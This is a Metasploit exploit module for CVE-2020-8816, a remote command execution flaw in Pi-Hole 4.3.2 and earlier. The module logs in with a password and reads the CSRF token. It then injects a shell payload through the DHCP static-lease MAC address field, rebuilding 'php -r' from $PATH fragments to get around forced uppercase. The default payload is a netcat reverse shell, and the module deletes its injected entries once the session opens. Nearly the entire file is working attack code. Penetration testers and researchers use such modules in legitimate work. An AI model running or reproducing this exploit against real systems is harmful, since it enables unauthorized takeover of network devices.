##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added
          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first
          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'François Renaud-Philippon <nate@nate.red>' # original PoC, discovery
        ],
        'References' => [
          ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
          ['CVE', '2020-8816']
        ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2020-03-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def check
    begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return CheckCode::Appears
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def add_static(payload, token)
    # we don't use vars_post due to the need to have duplicate fields
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'data' => [
        'AddMAC=',
        'AddIP=',
        'AddHostname=',
        "AddMAC=#{URI.encode_www_form_component(payload)}",
        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
        "AddHostname=#{rand_text_alphanumeric(8..12)}",
        'addstatic=',
        'field=DHCP',
        "token=#{URI.encode_www_form_component(token)}"
      ].join('&')
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      @macs = []
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true
      )

      # check login
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'tab' => 'piholedhcp'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(datastore['PASSWORD'])
        fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?
      end

      token = get_token('piholedhcp')

      if token.nil?
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # from the excellent writeup about the vuln:
      # The biggest difficulty in exploiting this vulnerability is that the user input is
      # capitalized through a call to "strtoupper". Because of this, no lower case character
      # can be used in the resulting injection.

      # we'd like to execute something similar to this:
      # aaaaaaaaaaaa&&php -r 'PAYLOAD'
      # however, we need to pull p, h, and r from the system due to all input getting capitalized
      # this is performed by pulling them from the $PATH which should be something like
      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      # first payload we send is to check that this is in the path to verify exploitation is possible
      mac = rand_text_hex(12).upcase
      @macs << mac
      vprint_status("Validating path with MAC: #{mac}")
      res = add_static("#{mac}$PATH", token)

      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
      env = res.body.match(/value="#{mac}(?<env>.*)">/)
      if env && env[:env].starts_with?('/opt/pihole')
        print_good("System env path exploitable: #{env[:env]}")
      else
        msg = '/opt/pihole not in path. Exploitation not possible.'
        if env
          msg += " Path: #{env[:env]}"
        end
        fail_with(Failure::UnexpectedReply, msg)
      end

      # once we have php -r, we then need to pass a payload.  So we do this via php command
      # exec on hex2bin since our payload in hex caps will still get processed and executed.

      mac = rand_text_hex(12).upcase
      @macs << mac
      print_status("Payload MAC will be: #{mac}")
      shellcode = "#{mac}&&" # mac address, arbitrary
      shellcode << 'W=${PATH#/???/}&&'
      shellcode << 'P=${W%%?????:*}&&'
      shellcode << 'X=${PATH#/???/??}&&'
      shellcode << 'H=${X%%???:*}&&'
      shellcode << 'Z=${PATH#*:/??}&&'
      shellcode << 'R=${Z%%/*}&&$'
      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
      shellcode << '"'
      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
      shellcode << '"));'
      shellcode << "'&&"

      vprint_status("Shellcode: #{shellcode}")
      print_status('Sending Exploit')
      add_static(shellcode, token)

      # we don't use vars_post due to the need to have duplicate fields
      ip = '192.168'
      2.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'ctype' => 'application/x-www-form-urlencoded',
        'keep_cookies' => true,
        'method' => 'POST',
        'vars_get' => {
          'tab' => 'piholedhcp'
        },
        'data' => [
          'AddMAC=',
          'AddIP=',
          'AddHostname=',
          "AddMAC=#{URI.encode_www_form_component(shellcode)}",
          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
          "AddHostname=#{rand_text_alphanumeric(3..8)}",
          'addstatic=',
          'field=DHCP',
          "token=#{URI.encode_www_form_component(token)}"
        ].join('&')
      )

    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def on_new_session(session)
    super
    @macs.each do |mac|
      print_status("Attempting to clean #{mac} from config")
      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
    end
  end
end
